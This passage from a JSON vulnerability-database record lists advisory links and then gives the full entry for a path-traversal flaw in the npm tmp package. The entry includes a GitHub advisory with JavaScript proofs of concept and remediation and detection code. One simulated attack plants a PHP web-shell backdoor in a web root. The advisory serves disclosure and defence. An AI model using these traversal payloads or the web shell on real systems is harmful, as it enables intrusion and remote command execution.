:["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59874","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v7.5.18","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59877","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59877","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59877","tags":["advisory"]},{"url":"https://github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/pull/2352","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69152","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69152","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69152","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69153","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69153","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69153","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8","tags":["article"]},{"url":"https://github.com/postcss/postcss/releases/tag/8.5.19","tags":["article"]},{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69192","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69192","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69192","tags":["advisory"]},{"url":"https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:59135","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456187","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484099","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2486729","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500041","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2509975","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2509976","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510021","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510032","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510825","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510831","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511095","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511900","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511901","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511902","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515261","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59135.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15307","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15307","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15307","tags":["advisory"]},{"url":"https://docs.djangoproject.com/en/dev/releases/security/","tags":["article"]},{"url":"https://github.com/django/django/commit/115ffd0463a765ab1cc93de18e94b5459b8a300e","tags":["article"]},{"url":"https://github.com/django/django/commit/208f80cb682868b584ed0a78f23e4ba6304212aa","tags":["article"]},{"url":"https://github.com/django/django/commit/39b3e2d0c743a338def6c473086ebc06865e86b6","tags":["article"]},{"url":"https://github.com/django/django/commit/f1949c1f9758947ade984c895ff16bef46f56520","tags":["article"]},{"url":"https://groups.google.com/g/django-announce","tags":["article"]},{"url":"https://www.djangoproject.com/weblog/2026/aug/04/security-releases/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34993","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34993","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39373","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39373","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39373","tags":["advisory"]},{"url":"https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-52902","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-52902","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52902","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59886","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59886","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59886","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67322","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67322","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67322","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67323","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67323","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67323","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67324","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67324","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67324","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v396-v7q4-x2qj","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-authentication-bypass-via-joined-short-options","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67325","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67325","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67325","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69243","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69243","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69243","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/pull/13017","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69244","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69244","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69244","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/pull/13223","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-71364","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-71364","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71364","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-71365","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-71365","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71365","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-71366","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-71366","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71366","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73620","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73620","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73620","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-78677","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2523215","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-78677","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78677","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-78679","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2523205","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-78679","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78679","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:59136","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6#Upgrade","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484377","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59136.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44545","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44545","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44545","tags":["advisory"]},{"url":"https://github.com/django/daphne/blob/main/CHANGELOG.txt","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-44705","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-44705","title":"tmp: Path Traversal via unsanitized prefix/postfix enables directory escape","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","status":"published","published":"2026-06-11T15:42:46.565Z","modified":"2026-06-13T02:20:44.547Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-36264","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","status":"published","published":"2026-06-11T15:42:46Z","modified":"2026-06-13T02:20:44Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T18:20:43.222Z"}],"ghsa":[{"id":"GHSA-ph9p-34f9-6g65","title":"tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape","description":"### Summary\n\nThe tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.\n\n**Technical Flow:**\n1. **Filename Construction:** tmp builds filenames as `\u003cprefix\u003e-\u003cpid\u003e-\u003crandom\u003e-\u003cpostfix\u003e`\n2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`\n3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape\n4. **File Creation:** File created at the resulting (potentially escaped) path\n\n**Vulnerable Pattern:**\n```javascript\n// In tmp package internals\nconst name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;\nconst finalPath = path.join(tmpDir, opts.dir || '', name);\n// No validation that finalPath remains within tmpDir\n```\n\n**Path Traversal Mechanics:**\n- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure\n- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely\n- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text\n- **Cross-platform impact:** Works on Windows (`..\\\\`), Unix (`../`), and mixed path systems\n\n**Key Vulnerability Points:**\n- No input validation on `prefix`, `postfix`, or `dir` parameters\n- Direct use of user input in path construction\n- Reliance on `path.join()` normalization without containment checks\n- Missing post-construction validation that final path remains within intended directory\n\n### PoC\n\n**Basic Path Traversal via prefix:**\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\n// Create a controlled base directory\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\nconsole.log('Base directory:', baseDir);\n\n// Escape via prefix\ntmp.file({ \n  tmpdir: baseDir, \n  prefix: '../escaped' \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Created file:', filepath);\n  console.log('Relative to base:', path.relative(baseDir, filepath));\n  // Output shows: ../escaped-\u003cpid\u003e-\u003crandom\u003e\n  \n  cleanup();\n});\n```\n\n**Directory Escape via postfix:**\n```javascript\ntmp.file({ \n  tmpdir: baseDir, \n  postfix: '/../../pwned.txt' \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Escaped file:', filepath);\n  console.log('Escaped outside base:', !filepath.startsWith(baseDir));\n  \n  cleanup();\n});\n```\n\n**Absolute Path Bypass via dir:**\n```javascript\ntmp.file({ \n  tmpdir: '/safe/tmp/dir', \n  dir: '/tmp/evil-location',\n  prefix: 'bypassed'\n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Bypassed to:', filepath);\n  // File created in /tmp/evil-location instead of /safe/tmp/dir\n  \n  cleanup();\n});\n```\n\n**Advanced Multi-Vector Attack:**\n```javascript\nconst maliciousOpts = {\n  tmpdir: '/app/safe-tmp',\n  dir: '../../../tmp',           // Escape base\n  prefix: '../sensitive-area/',   // Further traversal\n  postfix: 'malicious.config'     // Controlled filename\n};\n\ntmp.file(maliciousOpts, (err, filepath, fd, cleanup) =\u003e {\n  // Results in file creation at: /tmp/sensitive-area/malicious.config\n  console.log('Final malicious path:', filepath);\n  cleanup();\n});\n```\n\n**Real-World Attack Simulation:**\n```javascript\n// Simulate web API that accepts user file prefix\nfunction createUserTempFile(userPrefix, content) {\n  return new Promise((resolve, reject) =\u003e {\n    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) =\u003e {\n      if (err) return reject(err);\n      \n      fs.writeSync(fd, content);\n      console.log('User file created at:', path);\n      resolve({ path, cleanup });\n    });\n  });\n}\n\n// Attacker input\nconst attackerPrefix = '../../../var/www/html/backdoor';\ncreateUserTempFile(attackerPrefix, '\u003c?php system($_GET[\"cmd\"]); ?\u003e');\n// Creates PHP backdoor in web root instead of temp directory\n```\n\n### Impact\n\n**Arbitrary File Creation:**\n- Files created outside intended temporary directories\n- Attacker control over file placement location\n- Potential to overwrite existing files (depending on creation flags)\n- Cross-platform exploitation capability\n\n**Attack Scenarios:**\n\n**1. Web Application Configuration Poisoning:**\n- User uploads file with malicious prefix/postfix\n- tmp creates \"temporary\" file in application configuration directory\n- Malicious configuration loaded on next application restart\n\n**2. Cache Poisoning:**\n- Application caches user content using tmp\n- Attacker escapes to cache directory of different user/tenant\n- Poisoned cache serves malicious content to other users\n\n**3. Build Pipeline Compromise:**\n- CI/CD system processes user PRs with tmp usage\n- Malicious prefix escapes to build output directories\n- Compromised build artifacts deployed to production\n\n**4. Container Escape Attempt:**\n- Containerized application uses tmp with user input\n- Attacker attempts to escape container temp restrictions\n- Files created in host-mapped volumes or sensitive container areas\n\n**5. Multi-Tenant Service Bypass:**\n- SaaS platform isolates tenants using separate tmp directories\n- Tenant A escapes their tmp space to tenant B's area\n- Cross-tenant data access and potential privilege escalation\n\n**Business Impact:**\n- **Data Integrity:** Unauthorized file placement can corrupt application state\n- **Service Disruption:** Files in wrong locations may break application functionality  \n- **Security Bypass:** Escape temporary isolation boundaries\n- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** tmp\n- **Repository:** github.com/raszi/node-tmp\n- **Affected versions:** All versions with vulnerable path construction logic\n- **Patched versions:** None currently available\n\n**Component Impact:**\n- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal\n- `tmp.dir()` function - vulnerable to same parameter manipulation  \n- `tmp.tmpName()` function - if using affected path construction\n\n**Severity:** High  \n**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)\n\n**CWE Classification:**\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n### Remediation\n\n**Input Validation and Sanitization:**\n\n1. **Sanitize prefix/postfix:**\n```javascript\nfunction sanitizePrefix(prefix) {\n  if (!prefix) return '';\n  // Remove path separators and traversal sequences\n  return path.basename(String(prefix)).replace(/[\\.\\/\\\\]/g, '-');\n}\n\nfunction sanitizePostfix(postfix) {\n  if (!postfix) return '';\n  // Allow only safe characters\n  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');\n}\n```\n\n2. **Validate dir parameter:**\n```javascript\nfunction validateDir(dir, baseDir) {\n  if (!dir) return '';\n  \n  // Reject absolute paths\n  if (path.isAbsolute(dir)) {\n    throw new Error('Absolute paths not allowed for dir option');\n  }\n  \n  // Resolve and check containment\n  const resolved = path.resolve(baseDir, dir);\n  const relative = path.relative(baseDir, resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Dir option escapes base directory');\n  }\n  \n  return dir;\n}\n```\n\n3. **Post-construction path validation:**\n```javascript\nfunction validateFinalPath(finalPath, baseDir) {\n  const resolved = path.resolve(finalPath);\n  const relative = path.relative(path.resolve(baseDir), resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Generated path escapes temporary directory');\n  }\n  \n  return resolved;\n}\n```\n\n**Secure Implementation Pattern:**\n```javascript\nfunction createTempFile(options) {\n  const opts = { ...options };\n  \n  // Sanitize inputs\n  opts.prefix = sanitizePrefix(opts.prefix);\n  opts.postfix = sanitizePostfix(opts.postfix);\n  opts.dir = validateDir(opts.dir, opts.tmpdir);\n  \n  // Create with sanitized options\n  return tmp.file(opts, (err, path, fd, cleanup) =\u003e {\n    if (err) return callback(err);\n    \n    // Validate final path\n    try {\n      validateFinalPath(path, opts.tmpdir);\n    } catch (validationErr) {\n      cleanup();\n      return callback(validationErr);\n    }\n    \n    callback(null, path, fd, cleanup);\n  });\n}\n```\n\n### Workarounds\n\n**For Application Developers:**\n\n1. **Input Sanitization:**\n```javascript\n// Sanitize before passing to tmp\nfunction safeTmpFile(userOptions) {\n  const safeOpts = {\n    ...userOptions,\n    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,\n    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,\n    dir: undefined // Don't allow user-controlled dir\n  };\n  \n  return tmp.file(safeOpts);\n}\n```\n\n2. **Path Validation:**\n```javascript\nfunction validateTmpPath(tmpPath, expectedBase) {\n  const relativePath = path.relative(expectedBase, tmpPath);\n  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n    throw new Error('Temporary file path escaped base directory');\n  }\n  return tmpPath;\n}\n```\n\n3. **Restricted Usage:**\n```javascript\n// Only use tmp with known-safe, literal values\ntmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);\n// Never: tmp.file({ prefix: userInput }, callback);\n```\n\n**For Security Teams:**\n\n1. **Code Review Patterns:**\n```bash\n# Search for dangerous tmp usage\ngrep -r \"tmp\\.file.*prefix.*req\\|tmp\\.file.*postfix.*req\" .\ngrep -r \"tmp\\.dir.*opts\\|tmp\\.file.*opts\" .\n```\n\n2. **Runtime Monitoring:**\n```javascript\n// Monitor for files created outside expected temp areas\nconst originalFile = tmp.file;\ntmp.file = function(options, callback) {\n  return originalFile(options, (err, path, fd, cleanup) =\u003e {\n    if (!err \u0026\u0026 options.tmpdir) {\n      const relative = require('path').relative(options.tmpdir, path);\n      if (relative.startsWith('..')) {\n        console.warn('Path traversal detected:', path);\n      }\n    }\n    return callback(err, path, fd, cleanup);\n  });\n};\n```\n\n### Detection and Monitoring\n\n**Static Analysis:**\n- Scan for tmp usage with user-controlled input\n- Identify unsanitized parameter passing to tmp functions\n- Review file creation patterns in temporary directories\n\n**Runtime Detection:**\n```javascript\n// Log suspicious tmp operations\nfunction monitorTmpUsage() {\n  const originalTmpFile = require('tmp').file;\n  \n  require('tmp').file = function(options = {}, callback) {\n    // Check for suspicious patterns\n    const suspicious = [\n      options.prefix \u0026\u0026 options.prefix.includes('..'),\n      options.postfix \u0026\u0026 options.postfix.includes('..'),  \n      options.dir \u0026\u0026 path.isAbsolute(options.dir)\n    ].some(Boolean);\n    \n    if (suspicious) {\n      console.warn('Suspicious tmp usage detected:', options);\n    }\n    \n    return originalTmpFile.call(this, options, callback);\n  };\n}\n```\n\n**File System Monitoring:**\n```bash\n# Monitor file creation outside expected temp directories\ninotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do\n  if [[ \"$event\" == *\"CREATE\"* \u0026\u0026 \"$file\" != /tmp/tmp-* ]]; then\n    echo \"Unexpected file creation: $file\"\n  fi\ndone\n```\n### Acknowledgements\n\n**Reported by**: Mapta / BugBunny_ai","status":"published","published":"2026-05-27T00:34:06Z","modified":"2026-06-12T19:25:33Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-44705","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","status":"published","published":"2026-06-11T17:16:33.853Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:23.485267Z"}],"osv":[{"id":"CVE-2026-44705","title":"tmp: Path Traversal via unsanitized prefix/postfix enables directory escape","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","status":"published","published":"2026-06-11T15:42:46.565Z","modified":"2026-10-28T02:31:07.585444828Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"DEBIAN-CVE-2026-44705","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","status":"published","published":"2026-06-11T17:16:33.853Z","modified":"2026-10-27T09:47:35.972113071Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-ph9p-34f9-6g65","title":"tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape","description":"### 